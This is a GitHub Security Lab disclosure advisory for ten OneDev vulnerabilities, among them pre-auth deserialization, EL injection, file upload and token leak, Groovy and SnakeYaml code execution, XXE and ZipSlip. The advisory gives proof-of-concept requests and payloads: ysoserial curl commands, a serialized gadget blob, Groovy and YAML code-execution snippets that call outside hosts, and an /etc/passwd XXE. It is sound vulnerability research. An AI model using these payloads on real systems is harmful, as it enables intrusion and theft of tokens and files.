Coordinated Disclosure Timeline

Summary

Multiple vulnerabilities were found in the OneDev project ranging from pre-auth Remote Code Execution (RCE) to Arbitrary File Read/Write

Product

OneDev

Tested Version

latest commit to the date of testing: f34af86

Details

Issue 1: Pre-Auth Unsafe Deserialization on AttachmentUploadServet

AttachmentUploadServlet deserializes untrusted data from the Attachment-Support header:

protected void doPost(HttpServletRequest request, HttpServletResponse response)
		throws ServletException, IOException {
	String fileName = URLDecoder.decode(request.getHeader("File-Name"), StandardCharsets.UTF_8.name());
	AttachmentSupport attachmentSuppport = (AttachmentSupport) SerializationUtils
		.deserialize(Base64.decodeBase64(request.getHeader("Attachment-Support")));
    ...
  }

This Servlet does not enforce any authentication or authorization checks.

PoC

Use ysoserial to generate a probe payload using the URLDNS gadget. This gadget will send a DNS request which we can intercept to prove the deserialization attack was successful.

curl -X POST http://localhost:6610/attachment_upload -H "File-Name: foo" -H "Attachment-Support: `java -jar /Users/pwntester/Dev/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://536mvpzmverok48wr06msp5du40uoj.burpcollaborator.net | base64`"

Impact

This issue may lead to pre-auth RCE

Issue 2: Pre-Auth Unsafe Deserialization on KubernetesResource

A Kubernetes REST endpoint exposes two methods that deserialize untrusted data from the request body:

	@Path("/allocate-job-caches")
	@Consumes(MediaType.APPLICATION_OCTET_STREAM)
	@Produces(MediaType.APPLICATION_OCTET_STREAM)
  @POST
  public byte[] allocateJobCaches(byte[] cacheAllocationRequestBytes) {
	CacheAllocationRequest allocationRequest = (CacheAllocationRequest) SerializationUtils.deserialize(cacheAllocationRequestBytes);

and

	@Path("/report-job-caches")
	@Consumes(MediaType.APPLICATION_OCTET_STREAM)
	@POST
	public void reportJobCaches(byte[] cacheInstanceBytes) {
		@SuppressWarnings("unchecked")
		Collection<CacheInstance> cacheInstances = (Collection<CacheInstance>) SerializationUtils
				.deserialize(cacheInstanceBytes);
		jobManager.reportJobCaches(getJobToken(), cacheInstances);
	}

These endpoints do not enforce any authentication or authorization checks.

PoC

java -jar ~/Dev/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://pzs6r9v6ryn8go4gnk26o91xqowgk5.burpcollaborator.net > deser_payload.bin`
curl -H "Content-Type:application/octet-stream" --data-binary @deser_payload.bin http://localhost:6610/rest/k8s/allocate-job-caches
java -jar ~/Dev/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://pzs6r9v6ryn8go4gnk26o91xqowgk5.burpcollaborator.net > deser_payload.bin
curl -H "Content-Type:application/octet-stream" --data-binary @deser_payload.bin http://localhost:6610/rest/k8s/report-job-caches

Impact

This issue may lead to pre-auth RCE

Issue 3: Pre-Auth SSTI via Bean validation message tampering

There are many custom validators using Java Bean Validation (JSR 380) custom constraint validators. Apparently a similar issue was reported in the past (fix issue #88: Users able to edit build spec can execute arbitrary java ) and it was fixed by this commit by disabling EL interpolation:

-	Configuration<?> configuration = Validation.byDefaultProvider().configure();
+	Configuration<?> configuration = Validation
+			.byDefaultProvider()
+			.configure()
+			.messageInterpolator(new ParameterMessageInterpolator());

This effectively disables EL interpolation in most cases, but I found that this configuration is not applied for the Jersey server which uses a different ValidatorFactory configuration defined in ValidationConfigurationContextResolver:

    public ValidationConfig getContext(final Class<?> type) {
    	ValidatorFactory factory = AppLoader.getInstance(ValidatorFactory.class);
        ValidationConfig config = new ValidationConfig();
        config.constraintValidatorFactory(factory.getConstraintValidatorFactory());
        config.messageInterpolator(factory.getMessageInterpolator());
        config.parameterNameProvider(factory.getParameterNameProvider());
        config.traversableResolver(factory.getTraversableResolver());
        return config;
    }

There is a custom validator using this configuration, the ValidQueryParamsValidator:

	public boolean isValid(Object[] value, ConstraintValidatorContext context) {
		Set<String> expectedParams = new HashSet<>();
		for (Annotation[] annotations: resourceInfo.getResourceMethod().getParameterAnnotations()) {
			for (Annotation annotation: annotations) {
				if (annotation instanceof QueryParam) {
					QueryParam param = (QueryParam) annotation;
					expectedParams.add(param.value());
				}
			}
		}
		
		Set<String> actualParams = new HashSet<>(uriInfo.getQueryParameters().keySet());
		actualParams.removeAll(expectedParams);
		if (actualParams.isEmpty()) {
			return true;
		} else {
			context.disableDefaultConstraintViolation();
			context.buildConstraintViolationWithTemplate("Unexpected query params: " + actualParams).addConstraintViolation();
			return false;
		}
	}

This would be vulnerable if EL interpolation is allowed and if the REST endpoint receives an unexpected query parameter. We can verify if this is the case with the following payload:

${'test'.toUpperCase()}` -> `%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d

Trying it locally:

curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/projects\?%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d=bar

We get no response but an exception:

Caused by: org.glassfish.jersey.server.ContainerException: java.lang.NoSuchMethodError: javax.el.ELContext.notifyBeforeEvaluation(Ljava/lang/String;)

However in the stack trace we can find clues that Hibernate performed EL interpolation:

at com.sun.el.lang.EvaluationContext.notifyBeforeEvaluation(EvaluationContext.java:131) ~[org.glassfish.javax.el-3.0.0.jar:3.0.0]
at com.sun.el.ValueExpressionImpl.getValue(ValueExpressionImpl.java:225) ~[org.glassfish.javax.el-3.0.0.jar:3.0.0]
at org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver.interpolate(ElTermResolver.java:65) ~[org.hibernate.hibernate-validator-5.3.6.Final.jar:5.3.6.Final]
at org.hibernate.validator.internal.engine.messageinterpolation.InterpolationTerm.interpolate(InterpolationTerm.java:64) ~[org.hibernate.hibernate-validator-5.3.6.Final.jar:5.3.6.Final]

This exception seems to be related to a misconfiguration in our docker dev container. Trying it on the onedev server (v3.2.9) we get our expression evaluated:

curl -X GET -H "Content-Type: application/json"  https://code.onedev.io/rest/projects\?%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d=bar
Unexpected query params: [TEST] (path = ProjectResource.query.<cross-parameter>, invalidValue = [null, null, null, org.glassfish.jersey.server.internal.routing.UriRoutingContext@5b27a361])

As we can see in the output, the Java code was evaluated and returned TEST in upper case.

This validation, and therefore the arbitrary code execution, happens before any authentication or authorization checks are enforced.

Impact

This issue may lead to pre-auth RCE

Issue 4: Pre-Auth Arbitrary File Upload

AttachmentUploadServlet also saves user controlled data (request.getInputStream()) to a user specified location (request.getHeader("File-Name")):

String fileName = URLDecoder.decode(request.getHeader("File-Name"), StandardCharsets.UTF_8.name());
...
String attachmentName = attachmentSuppport.saveAttachment(fileName, request.getInputStream());

This file system operation occurs before any authentication or authorization checks are enforced.

Impact

This issue may lead to arbitrary file upload which can be used to upload a WebShell to OneDev server

Issue 5: Pre-Auth Access token leak

The REST UserResource endpoint performs a security check to make sure that only administrators can list user details. For the /users/ endpoint we have:

@ValidQueryParams
@GET
public Response query(@QueryParam("name") String name, @Email @QueryParam("email") String email, @QueryParam("offset") Integer offset, @QueryParam("count") Integer count, @Context UriInfo uriInfo) { 
  if (!SecurityUtils.isAdministrator())
    throw new UnauthorizedException("Unauthorized access to user profiles");
  ...
}

However for the /users/{id} endpoint there are no security checks enforced so it is possible to retrieve arbitrary user details:

@Path("/{userId}")
public User get(@PathParam("userId") Long userId) {
  return userManager.load(userId);
}

For the protected endpoint, we get an Unauthorized access error:

curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/users
Unauthorized access to user profiles

But for the /users/{} endpoint we can list full user details, including their Access Tokens!

curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/users/1
{
  "id" : 1,
  "name" : "admin",
  "fullName" : "admin",
  "ssoInfo" : {
    "connector" : null,
    "subject" : "4a155bff-715d-45e9-8898-4152bb97d25e"
  },
  "email" : "alvaro@pwntester.com",
  "accessToken" : "JqnqWs6YsP8x3poNpnj6J6GFbvh0szli6lr5BWH8",
  "userProjectQueries" : [ ],
  "userIssueQueries" : [ ],
  "userIssueQueryWatches" : { },
  "issueQueryWatches" : { },
  "userPullRequestQueries" : [ ],
  "userPullRequestQueryWatches" : { },
  "pullRequestQueryWatches" : { },
  "userBuildQueries" : [ ],
  "userBuildQuerySubscriptions" : [ ],
  "buildQuerySubscriptions" : [ ]
}

These access tokens can be used to access the API or clone code in the build spec via the HTTP(S) protocol. It has permissions to all projects accessible by the user account.

Impact

This issue may lead to Sensitive data leak and leak the Access Token which can be used to impersonate the administrator or any other users.

Issue 6: Post-Auth Unsafe Deserialization on BasePage (AJAX)

The application’s BasePage registers an AJAX event listener (AbstractPostAjaxBehavior) in all pages other than the login page. This listener decodes and deserializes the data query parameter.

  @Override
  protected void respond(AjaxRequestTarget target) {
    IRequestParameters params = RequestCycle.get().getRequest().getPostParameters();
    String encodedData = params.getParameterValue("data").toString();
    
    byte[] bytes = Base64.decodeBase64(encodedData.getBytes());
    Serializable data = (Serializable) SerializationUtils.deserialize(bytes);
    onPopState(target, data);
    target.appendJavaScript("onedev.server.viewState.getFromHistoryAndSetToView();");
  }

We can access this listener by submitting a POST request to any page. e.g.

POST /projects/my-app/blob?7-1.IBehaviorListener.0- HTTP/1.1
Host: localhost:6610
Content-Length: 389
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
Wicket-Ajax-BaseURL: projects/my-app/blob
Wicket-Ajax: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:6610
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:6610/projects/my-app/blob
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: JSESSIONID=node0cq7tdfxnza2v1nb58f7zwg7jj6.node0
Connection: close

data=rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3OAAKVW5pY2FzdFJlZgAPdG91Y2ggL3RtcC9mb29vAACFE//////C/CKmAAAAAAAAAAAAAAAAAAAAeA==

This endpoint is subject to authentication and, therefore, requires a valid user to carry on the attack.

Impact

This issue may lead to post-auth RCE

Issue 7: Post-Auth Arbitrary Code execution via Groovy script injection

InputSpec is used to define parameters of a Build spec. It does so by using dynamically generated Groovy classes. A user able to control job parameters can run arbitrary code on OneDev’s server by injecting arbitrary Groovy code.

For example, for text parameters the class TextInput is used, which dynamically builds fields and method annotations:

buffer.append("    @Pattern(regexp=\"" + pattern + "\", message=\"Should match regular expression: " + pattern + "\")\n");

Where pattern can be controlled by the user as part of the build spec. For example, to execute arbitrary Groovy code, you can define the following pattern:

  paramSpecs:
  - !TextParam
    name: test
    description: test
    allowEmpty: false
    pattern: foo") public String foo() {return "";}; static {Runtime.getRuntime().exec("touch
      /tmp/pwned1");} //

The payload used is:

foo") public String foo() {return "";}; static {Runtime.getRuntime().exec("touch /tmp/pwned1");} //

Which, when injected, will result in:

...
@Pattern(regexp="foo") public String foo() {return "";}; static {Runtime.getRuntime().exec("touch /tmp/pwned1");} // ", message="Should match regular expression: " foo") public String foo() {return "";}; static {Runtime.getRuntime().exec("touch /tmp/pwned1");} // ")\n");
public String input1() {
  ...
}

When we remove the commented out text and sort it, we get:

@Pattern(regexp="foo") 
public String foo() {return "";}; 
static {Runtime.getRuntime().exec("touch /tmp/pwned1");}
public String input1() {
  ...
}

Resulting in the injection of a static constructor that will run our arbitrary code. Injection is not only possible in text patterns, but in many other parameters.

Impact

This issue may lead to post-auth RCE

Issue 8: Post-Auth Unsafe Yaml deserialization

In order to parse and process YAML files, OneDev uses SnakeYaml which by default (when not using SafeConstructor) allows the instantiation of arbitrary classes. We can leverage that to run arbitrary code by instantiating classes such as javax.script.ScriptEngineManager and using URLClassLoader to load the script engine provider, resulting in the instantiation of a user controlled class. We can observe that by providing the following BuildSpec:

version: 1
jobs:
- name: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://qgayzevwou8by0k3ochje4ebx23srh.burpcollaborator.net"]]]]
  image: asdasd
  commands:
  - asd
  retrieveSource: true
  cloneCredential: !DefaultCredential {}
  cpuRequirement: 250m
  memoryRequirement: 128m
  retryCondition: never
  maxRetries: 3
  retryDelay: 30
  timeout: 3600

By intercepting the resolution of the provided URL, we can prove that the payload succeeded.

Impact

This issue may lead to post-auth RCE

Issue 9: Post-Auth External Entity Expansion (XXE)

When BuildSpec is provided in XML format, the spec is processed by XmlBuildSpecMigrator.migrate(buildSpecString); which processes the XML document without preventing the expansion of external entities. These entities can be configured to read arbitrary files from the file system and dump their contents in the final XML document to be migrated. If the files are dumped in properties included in the YAML file, it will be possible for an attacker to read them. Eg:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

If not, it is possible for an attacker to exfiltrate the contents of these files Out Of Band.

Impact

This issue may lead to arbitrary file read

Issue 10: ZipSlip Arbitrary File Upload

KubernetesResource REST endpoint untars user controlled data from the request body:

	@POST
	@Path("/upload-outcomes")
	@Consumes(MediaType.APPLICATION_OCTET_STREAM)	
	public Response uploadOutcomes(InputStream is) {
		JobContext context = jobManager.getJobContext(getJobToken(), true);
		TarUtils.untar(is, context.getServerWorkspace());
		return Response.ok().build();
	}

TarUtils is a custom library method leveraging Apache Commons Compress. During the untar process, there are no checks in place to prevent an untarred file from traversing the file system and overriding an existing file.

A test Tar file can be found in the snyck repo.

For a successful exploitation, the attacker requires a valid __JobToken__ which may not be possible to get without using any of the other reported vulnerabilities. But this should be considered a vulnerability in io.onedev.commons.utils.TarUtils since it lives in a different artifact and can affect other projects using it.

To reproduce the vulnerability, we can use the following Java code:

import io.onedev.commons.utils.TarUtils;
import java.io.FileInputStream;
import java.io.File;

public class UnTarTest {
  public static void main(String[] args) {
    try {
      FileInputStream is = new FileInputStream(new File("./zip-slip.tar"));
      TarUtils.untar(is, new File("./dest"));
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}

Using the Tar file mentioned above, after running the untar operation, a file called evil.txt should be extracted to /tmp

Impact

This issue may lead to arbitrary file write

CVE

Resources

Credit

These issues was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-214_223 in any communication regarding this issue.